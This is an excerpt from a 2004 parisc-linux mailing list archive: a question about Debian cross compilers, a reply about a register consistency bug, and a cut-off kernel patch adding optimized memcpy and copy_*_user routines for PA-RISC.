Xref: news.gmane.org gmane.linux.ports.parisc:22003

On Thu, Sep 16, 2004 at 10:38:12AM -0400, Carlos O'Donell wrote:
> If you have time...
> http://www.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html
> 
> I recommend Dan Kegel's crosstools and build one using his
> infrastructure please :) His tools autobuild everything and it will take
> only time to compile the tree. I haven't done this myself because I
> don't need an x86->hppa but I might set crosstools to run today on my
> dual cpu box at the office.

Debian doesn't have many cross compilers -- is there a reason for this?
Given the emphasis Debian has on portability, I'm suprised that packages
for x86->* (at the very least) aren't available...
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Need help writing register consistency test?
Date: Thu, 16 Sep 2004 12:26:41 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20040916192641.GG28659@tausq.org>
References: <20040916172131.GF28936@baldric.uwo.ca>
	<200409161919.i8GJJk7v007348@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623561 11105 80.91.229.3 (22 Nov 2014 02:32:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14594 invoked by uid 65534); 16 Sep 2004 19:51:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 16 Sep 2004 21:51:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9CDB83BE61; Thu, 16 Sep 2004 13:26:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26874-03; Thu, 16 Sep 2004 13:26:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 755F03BE58; Thu, 16 Sep 2004 13:26:43 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 518F53BE56
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:26:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26788-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:26:37 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 098213BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:26:37 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 709D7CD64C; Thu, 16 Sep 2004 12:26:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200409161919.i8GJJk7v007348@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22004

> I'm not sure that this is a syscall problem although it might be.  There
> weren't any syscalls between the load for r3 and when it was used as far
> as I can tell.  So, if this is a syscall problem, it would have to be a
> syscall that was done in a signal handler.  The difficulty in writing
> a program such as that suggested above is that it has to somehow test
> all the return paths in the kernel for each syscall.

yeah, possibly it's something in one of the interruption paths.

Dave, do you have any comments on this:
http://marc.theaimsgroup.com/?l=linux-ia64&m=109507921717647&w=2

do you think this could be causing problems for us too? (do you do any
stracing/gdb during your tests?)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Optimi[zs]e copy_*_user routines
Date: Thu, 16 Sep 2004 12:18:56 -0700
Lines: 581
Approved: news@gmane.org
Message-ID: <20040916191856.GF28659@tausq.org>
References: <20040910000032.GJ28659@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623562 11109 80.91.229.3 (22 Nov 2014 02:32:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13611 invoked by uid 65534); 16 Sep 2004 19:51:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 16 Sep 2004 21:51:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 371C93BE60; Thu, 16 Sep 2004 13:19:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26761-01; Thu, 16 Sep 2004 13:19:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CDBF33BE56; Thu, 16 Sep 2004 13:19:02 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B8183BE28
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:18:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25974-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:18:56 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id A4CC03BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:18:55 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D7BFDCD2CF; Thu, 16 Sep 2004 12:18:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040910000032.GJ28659@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22005

Version 2 of optimized copy routines. Changes compared to the previous
version:

- uses new exception mechanism to get the error semantics right
- cleaned up debugs
- added TODO items

If there are no more comments, i'll check this in in a couple of days.

thanks
randolph

Index: arch/parisc/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Makefile,v
retrieving revision 1.14
diff -u -p -r1.14 Makefile
--- arch/parisc/Makefile	15 Sep 2004 14:11:49 -0000	1.14
+++ arch/parisc/Makefile	16 Sep 2004 19:15:54 -0000
@@ -38,7 +38,7 @@ cflags-y	:= -pipe
 cflags-y	+= -mno-space-regs -mfast-indirect-calls
 
 # No fixed-point multiply
-cflags-y	+= -mdisable-fpregs
+#cflags-y	+= -mdisable-fpregs
 
 # Without this, "ld -r" results in .text sections that are too big
 # (> 0x40000) for branches to reach stubs.
Index: arch/parisc/lib/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/Makefile,v
retrieving revision 1.3
diff -u -p -r1.3 Makefile
--- arch/parisc/lib/Makefile	15 Sep 2004 16:08:48 -0000	1.3
+++ arch/parisc/lib/Makefile	16 Sep 2004 19:15:58 -0000
@@ -2,6 +2,6 @@
 # Makefile for parisc-specific library files
 #
 
-lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o
+lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o memcpy.o
 
 lib-$(CONFIG_SMP) += debuglocks.o
Index: arch/parisc/lib/memcpy.c
===================================================================
RCS file: arch/parisc/lib/memcpy.c
diff -N arch/parisc/lib/memcpy.c
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ arch/parisc/lib/memcpy.c	16 Sep 2004 19:15:58 -0000
@@ -0,0 +1,499 @@
+/*
+ *    Optimized memory copy routines.
+ *
+ *    Copyright (C) 2004 Randolph Chung <tausq@debian.org>
+ *
+ *    This program is free software; you can redistribute it and/or modify
+ *    it under the terms of the GNU General Public License as published by
+ *    the Free Software Foundation; either version 2, or (at your option)
+ *    any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program; if not, write to the Free Software
+ *    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ *    Portions derived from the GNU C Library
+ *    Copyright (C) 1991, 1997, 2003 Free Software Foundation, Inc.
+ *
+ * Several strategies are tried to try to get the best performance for various
+ * conditions. In the optimal case, we copy 64-bytes in an unrolled loop using 
+ * fp regs. This is followed by loops that copy 32- or 16-bytes at a time using
+ * general registers.  Unaligned copies are handled either by aligning the 
+ * destination and then using shift-and-write method, or in a few cases by 
+ * falling back to a byte-at-a-time copy.
+ *
+ * I chose to implement this in C because it is easier to maintain and debug,
+ * and in my experiments it appears that the C code generated by gcc (3.3/3.4
+ * at the time of writing) is fairly optimal. Unfortunately some of the 
+ * semantics of the copy routine (exception handling) is difficult to express
+ * in C, so we have to play some tricks to get it to work.
+ *
+ * All the loads and stores are done via explicit asm() code in order to use
+ * the right space registers. 
+ * 
+ * Testing with various alignments and buffer sizes shows that this code is 
+ * often >10x faster than a simple byte-at-a-time copy, even for strangely
+ * aligned operands. It is interesting to note that the glibc version
+ * of memcpy (written in C) is actually quite fast already. This routine is 
+ * able to beat it by 30-40% for aligned copies because of the loop unrolling, 
+ * but in some cases the glibc version is still slightly faster. This lends 
+ * more credibility that gcc can generate very good code as long as we are 
+ * careful.
+ *
+ * TODO:
+ * - cache prefetching needs more experimentation to get optimal settings
+ * - try not to use the post-increment address modifiers; they create additional
+ *   interlocks
+ * - replace byte-copy loops with stybs sequences
+ */
+
+#ifdef __KERNEL__
+#include <linux/config.h>
+#include <linux/compiler.h>
+#include <asm/uaccess.h>
+#define s_space "%%sr1"
+#define d_space "%%sr2"
+#else
+#define likely(x)	__builtin_expect(!!(x), 1)
+#define unlikely(x)	__builtin_expect(!!(x), 0)
+#define inline		__inline__ __attribute__((always_inline))
+#define s_space "%%sr0"
+#define d_space "%%sr0"
+#define pa_memcpy new2_copy
+#define L1_CACHE_BYTES 64
+#endif
+
+DECLARE_PER_CPU(struct exception_data, exception_data);
+
+#define preserve_branch(label)	do {					\
+	volatile int dummy;						\
+	/* The following branch is never taken, it's just here to  */	\
+	/* prevent gcc from optimizing away our exception code. */ 	\
+	if (unlikely(dummy != dummy))					\
+		goto label;						\
+} while (0)
+
+#define get_user_space() (segment_eq(get_fs(), KERNEL_DS) ? 0 : mfsp(3))
+
+#define MERGE(w0, sh_1, w1, sh_2) (((w0) << (sh_1)) | ((w1) >> (sh_2)))
+#define THRESHOLD	16
+
+#ifdef DEBUG_MEMCPY
+#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __FUNCTION__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
+#else
+#define DPRINTF(fmt, args...)
+#endif
+
+#ifndef __LP64__
+#define EXC_WORD ".word"
+#else
+#define EXC_WORD ".dword"
+#endif
+
+#define def_load_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)	\
+	__asm__ __volatile__ (				\
+	"1:\t" #_insn ",ma " #_sz "(" _s ",%1), %0\n" 	\
+	"\t.section __ex_table,\"aw\"\n"		\
+	"\t" EXC_WORD "\t1b\n"				\
+	"\t" EXC_WORD "\t" #_e "\n"			\
+	"\t.previous\n"					\
+	: "=" #_tt(_t), "+r"(_a)			\
+	: "1"(_a)					\
+	: "r8")
+
+#define def_store_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e) 	\
+	__asm__ __volatile__ (				\
+	"1:\t" #_insn ",ma %1, " #_sz "(" _s ",%0)\n" 	\
+	"\t.section __ex_table,\"aw\"\n"		\
+	"\t" EXC_WORD "\t1b\n"				\
+	"\t" EXC_WORD "\t" #_e "\n"			\
+	"\t.previous\n"					\
+	: "+r"(_a) 					\
+	: #_tt(_t), "0"(_a)				\
+	: "r8")
+
+#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,r,_s,_a,_t,_e)
+#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,r,_s,_a,_t,_e)
+#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,r,_s,_a,_t,_e)
+#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,r,_s,_a,_t,_e)
+#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,f,_s,_a,_t,_e)
+#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,f,_s,_a,_t,_e)
+
+#define ldw(_s,_o,_a,_t,_e) 				\
+	__asm__ __volatile__ (				\
+	"1:\tldw " #_o "(" _s ",%1), %0\n"		\
+	"\t.section __ex_table,\"aw\"\n"		\
+	"\t" EXC_WORD "\t1b\n"				\
+	"\t" EXC_WORD "\t" #_e "\n"			\
+	"\t.previous\n"					\
+	: "=r"(_t) 					\
+	: "r"(_a)					\
+	: "r8")
+
+#define stw(_s,_t,_o,_a,_e) 				\
+	__asm__ __volatile__ (				\
+	"1:\tstw %0, " #_o "(" _s ",%1)\n" 		\
+	"\t.section __ex_table,\"aw\"\n"		\
+	"\t" EXC_WORD "\t1b\n"				\
+	"\t" EXC_WORD "\t" #_e "\n"			\
+	"\t.previous\n"					\
+	: 						\
+	: "r"(_t), "r"(_a)				\
+	: "r8")
+
+#ifdef  CONFIG_PREFETCH
+extern inline void prefetch_src(const void *addr)
+{
+	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
+}
+
+extern inline void prefetch_dst(const void *addr)
+{
+	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
+}
+#else
+#define prefetch_src(addr)
+#define prefetch_dst(addr)
+#endif
+
+/* Copy from a not-aligned src to an aligned dst, using shifts. Handles 4 words
+ * per loop.  This code is derived from glibc. 
+ */
+static inline unsigned long copy_dstaligned(unsigned long dst, unsigned long src, unsigned long len, unsigned long o_dst, unsigned long o_src, unsigned long o_len)
+{
+	/* gcc complains that a2 and a3 may be uninitialized, but actually
+	 * they cannot be.  Initialize a2/a3 to shut gcc up.
+	 */
+	register unsigned int a0, a1, a2 = 0, a3 = 0;
+	int sh_1, sh_2;
+	struct exception_data *d;
+
+	/* prefetch_src((const void *)src); */
+
+	/* Calculate how to shift a word read at the memory operation
+	   aligned srcp to make it aligned for copy.  */
+	sh_1 = 8 * (src % sizeof(unsigned int));
+	sh_2 = 8 * sizeof(unsigned int) - sh_1;
+
+	/* Make src aligned by rounding it down.  */
+	src &= -sizeof(unsigned int);
+
+	switch (len % 4)
+	{
+		case 2:
+			/* a1 = ((unsigned int *) src)[0];
+			   a2 = ((unsigned int *) src)[1]; */
+			ldw(s_space, 0, src, a1, cda_ldw_exc);
+			ldw(s_space, 4, src, a2, cda_ldw_exc);
+			src -= 1 * sizeof(unsigned int);
+			dst -= 3 * sizeof(unsigned int);
+			len += 2;
+			goto do1;
+		case 3:
+			/* a0 = ((unsigned int *) src)[0];
+			   a1 = ((unsigned int *) src)[1]; */
+			ldw(s_space, 0, src, a0, cda_ldw_exc);
+			ldw(s_space, 4, src, a1, cda_ldw_exc);
+			src -= 0 * sizeof(unsigned int);
+			dst -= 2 * sizeof(unsigned int);
+			len += 1;
+			goto do2;
+		case 0:
+			if (len == 0)
+				return 0;
+			/* a3 = ((unsigned int *) src)[0];
+			   a0 = ((unsigned int *) src)[1]; */
+			ldw(s_space, 0, src, a3, cda_ldw_exc);
+			ldw(s_space, 4, src, a0, cda_ldw_exc);
+			src -=-1 * sizeof(unsigned int);
+			dst -= 1 * sizeof(unsigned int);
+			len += 0;
+			goto do3;
+		case 1:
+			/* a2 = ((unsigned int *) src)[0];
+			   a3 = ((unsigned int *) src)[1]; */
+			ldw(s_space, 0, src, a2, cda_ldw_exc);
+			ldw(s_space, 4, src, a3, cda_ldw_exc);
+			src -=-2 * sizeof(unsigned int);
+			dst -= 0 * sizeof(unsigned int);
+			len -= 1;
+			if (len == 0)
+				goto do0;
+			goto do4;			/* No-op.  */
+	}
+
+	do
+	{
+		/* prefetch_src((const void *)(src + 4 * sizeof(unsigned int))); */
+do4:
+		/* a0 = ((unsigned int *) src)[0]; */
+		ldw(s_space, 0, src, a0, cda_ldw_exc);
+		/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
+		stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, cda_stw_exc);
+do3:
+		/* a1 = ((unsigned int *) src)[1]; */
+		ldw(s_space, 4, src, a1, cda_ldw_exc);
+		/* ((unsigned int *) dst)[1] = MERGE (a3, sh_1, a0, sh_2); */
+		stw(d_space, MERGE (a3, sh_1, a0, sh_2), 4, dst, cda_stw_exc);
+do2:
+		/* a2 = ((unsigned int *) src)[2]; */
+		ldw(s_space, 8, src, a2, cda_ldw_exc);
+		/* ((unsigned int *) dst)[2] = MERGE (a0, sh_1, a1, sh_2); */
+		stw(d_space, MERGE (a0, sh_1, a1, sh_2), 8, dst, cda_stw_exc);
+do1:
+		/* a3 = ((unsigned int *) src)[3]; */
+		ldw(s_space, 12, src, a3, cda_ldw_exc);
+		/* ((unsigned int *) dst)[3] = MERGE (a1, sh_1, a2, sh_2); */
+		stw(d_space, MERGE (a1, sh_1, a2, sh_2), 12, dst, cda_stw_exc);
+
+		src += 4 * sizeof(unsigned int);
+		dst += 4 * sizeof(unsigned int);
+		len -= 4;
+	}
+	while (len != 0);
+
+do0:
+	/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
+	stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, cda_stw_exc);
+
+	preserve_branch(handle_load_error);
+	preserve_branch(handle_store_error);
+
+	return 0;
+
+handle_load_error:
+	__asm__ __volatile__ ("cda_ldw_exc:\n");
+	d = &__get_cpu_var(exception_data);
+	DPRINTF("cda_ldw_exc: o_len=%lu fault_addr=%lu o_src=%lu ret=%lu\n",
+		o_len, d->fault_addr, o_src, o_len - d->fault_addr + o_src);
+	return o_len * 4 - d->fault_addr + o_src;
+
+handle_store_error:
+	__asm__ __volatile__ ("cda_stw_exc:\n");
+	d = &__get_cpu_var(exception_data);
+	DPRINTF("cda_stw_exc: o_len=%lu fault_addr=%lu o_dst=%lu ret=%lu\n",
+		o_len, d->fault_addr, o_dst, o_len - d->fault_addr + o_dst);
+	return o_len * 4 - d->fault_addr + o_dst;
+}
+
+
+/* Returns 0 for success, otherwise, returns number of bytes not transferred. */
+unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+{
+	register unsigned long src, dst, t1, t2, t3;
+	register char *pcs, *pcd;
+	register unsigned int *pws, *pwd;
+	register double *pds, *pdd;
+	unsigned long ret = 0;
+	unsigned long o_dst, o_src, o_len;
+	struct exception_data *d;
+
+	src = (unsigned long)srcp;
+	dst = (unsigned long)dstp;
+	pcs = (unsigned char *)srcp;
+	pcd = (unsigned char *)dstp;
+
+	o_dst = dst; o_src = src; o_len = len;
+
+	/* prefetch_src((const void *)srcp); */
+
+	if (unlikely(len == 0))
+		return 0;
+
+	/* Check alignment */
+	t1 = (src ^ dst);
+	if (unlikely(t1 & (sizeof(double)-1)))
+		goto unaligned_copy;
+
+	/* src and dst have same alignment. */
+
+	/* Copy bytes till we are double-aligned. */
+	t2 = src & (sizeof(double) - 1);
+	if (unlikely(t2 != 0)) {
+		t2 = sizeof(double) - t2;
+		while (t2 && len) {
+			/* *pcd++ = *pcs++; */
+			ldbma(s_space, pcs, t3, pmc_load_exc);
+			len--;
+			stbma(d_space, t3, pcd, pmc_store_exc);
+			t2--;
+		}
+	}
+
+	pds = (double *)pcs;
+	pdd = (double *)pcd;
+
+	/* Copy 8 doubles at a time */
+	while (len >= 8*sizeof(double)) {
+		register double r1, r2, r3, r4, r5, r6, r7, r8;
+		/* prefetch_src((char *)pds + L1_CACHE_BYTES); */
+		flddma(s_space, pds, r1, pmc_load_exc);
+		flddma(s_space, pds, r2, pmc_load_exc);
+		flddma(s_space, pds, r3, pmc_load_exc);
+		flddma(s_space, pds, r4, pmc_load_exc);
+		fstdma(d_space, r1, pdd, pmc_store_exc);
+		fstdma(d_space, r2, pdd, pmc_store_exc);
+		fstdma(d_space, r3, pdd, pmc_store_exc);
+		fstdma(d_space, r4, pdd, pmc_store_exc);
+
+#if 0
+		if (L1_CACHE_BYTES <= 32)
+			prefetch_src((char *)pds + L1_CACHE_BYTES);
+#endif
+		flddma(s_space, pds, r5, pmc_load_exc);
+		flddma(s_space, pds, r6, pmc_load_exc);
+		flddma(s_space, pds, r7, pmc_load_exc);
+		flddma(s_space, pds, r8, pmc_load_exc);
+		fstdma(d_space, r5, pdd, pmc_store_exc);
+		fstdma(d_space, r6, pdd, pmc_store_exc);
+		fstdma(d_space, r7, pdd, pmc_store_exc);
+		fstdma(d_space, r8, pdd, pmc_store_exc);
+		len -= 8*sizeof(double);
+	}
+
+	pws = (unsigned int *)pds;
+	pwd = (unsigned int *)pdd;
+
+word_copy:
+	while (len >= 8*sizeof(unsigned int)) {
+		register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;
+		/* prefetch_src((char *)pws + L1_CACHE_BYTES); */
+		ldwma(s_space, pws, r1, pmc_load_exc);
+		ldwma(s_space, pws, r2, pmc_load_exc);
+		ldwma(s_space, pws, r3, pmc_load_exc);
+		ldwma(s_space, pws, r4, pmc_load_exc);
+		stwma(d_space, r1, pwd, pmc_store_exc);
+		stwma(d_space, r2, pwd, pmc_store_exc);
+		stwma(d_space, r3, pwd, pmc_store_exc);
+		stwma(d_space, r4, pwd, pmc_store_exc);
+
+		ldwma(s_space, pws, r5, pmc_load_exc);
+		ldwma(s_space, pws, r6, pmc_load_exc);
+		ldwma(s_space, pws, r7, pmc_load_exc);
+		ldwma(s_space, pws, r8, pmc_load_exc);
+		stwma(d_space, r5, pwd, pmc_store_exc);
+		stwma(d_space, r6, pwd, pmc_store_exc);
+		stwma(d_space, r7, pwd, pmc_store_exc);
+		stwma(d_space, r8, pwd, pmc_store_exc);
+		len -= 8*sizeof(unsigned int);
+	}
+
+	while (len >= 4*sizeof(unsigned int)) {
+		register unsigned int r1,r2,r3,r4;
+		ldwma(s_space, pws, r1, pmc_load_exc);
+		ldwma(s_space, pws, r2, pmc_load_exc);
+		ldwma(s_space, pws, r3, pmc_load_exc);
+		ldwma(s_space, pws, r4, pmc_load_exc);
+		stwma(d_space, r1, pwd, pmc_store_exc);
+		stwma(d_space, r2, pwd, pmc_store_exc);
+		stwma(d_space, r3, pwd, pmc_store_exc);
+		stwma(d_space, r4, pwd, pmc_store_exc);
+		len -= 4*sizeof(unsigned int);
+	}
+
+	pcs = (unsigned char *)pws;
+	pcd = (unsigned char *)pwd;
+
+byte_copy:
+	while (len) {
+		/* *pcd++ = *pcs++; */
+		ldbma(s_space, pcs, t3, pmc_load_exc);
+		stbma(d_space, t3, pcd, pmc_store_exc);
+		len--;
+	}
+
+	return 0;
+
+unaligned_copy:
+	if (len < THRESHOLD)
+		goto byte_copy;
+
+	/* possibly we are aligned on a word, but not on a double... */
+	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+		t2 = src & (sizeof(unsigned int) - 1);
+
+		if (unlikely(t2 != 0)) {
+			t2 = sizeof(unsigned int) - t2;
+			while (t2) {
+				/* *pcd++ = *pcs++; */
+				ldbma(s_space, pcs, t3, pmc_load_exc);
+				stbma(d_space, t3, pcd, pmc_store_exc);
+				t2--;
+			}
+		}
+
+		pws = (unsigned int *)pcs;
+		pwd = (unsigned int *)pcd;
+		goto word_copy;
+	}
+
+	/* Align the destination.  */
+	if (unlikely((dst & (sizeof(unsigned int) - 1)) != 0)) {
+		t2 = sizeof(unsigned int) - (dst & (sizeof(unsigned int) - 1));
+		while (t2) {
+			/* *pcd++ = *pcs++; */
+			ldbma(s_space, pcs, t3, pmc_load_exc);
+			stbma(d_space, t3, pcd, pmc_store_exc);
+			len--;
+			t2--;
+		}
+		dst = (unsigned long)pcd;
+		src = (unsigned long)pcs;
+	}
+
+	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int), 
+		o_dst, o_src, o_len);
+	if (ret)
+		return ret;
+
+	pcs += (len & -sizeof(unsigned int));
+	pcd += (len & -sizeof(unsigned int));
+	len %= sizeof(unsigned int);
+
+	preserve_branch(handle_load_error);
+	preserve_branch(handle_store_error);
+
+	goto byte_copy;
+
+handle_load_error:
+	__asm__ __volatile__ ("pmc_load_exc:\n");
+	d = &__get_cpu_var(exception_data);
+	DPRINTF("pmc_load_exc: o_len=%lu fault_addr=%lu o_src=%lu ret=%lu\n",
+		o_len, d->fault_addr, o_src, o_len - d->fault_addr + o_src);
+	return o_len - d->fault_addr + o_src;
+
+handle_store_error:
+	__asm__ __volatile__ ("pmc_store_exc:\n");
+	d = &__get_cpu_var(exception_data);
+	DPRINTF("pmc_store_exc: o_len=%lu fault_addr=%lu o_dst=%lu ret=%lu\n",
+		o_len, d->fault_addr, o_dst, o_len - d->fault_addr + o_dst);
+	return o_len - d->fault_addr + o_dst;
+}
+
+#ifdef __KERNEL__
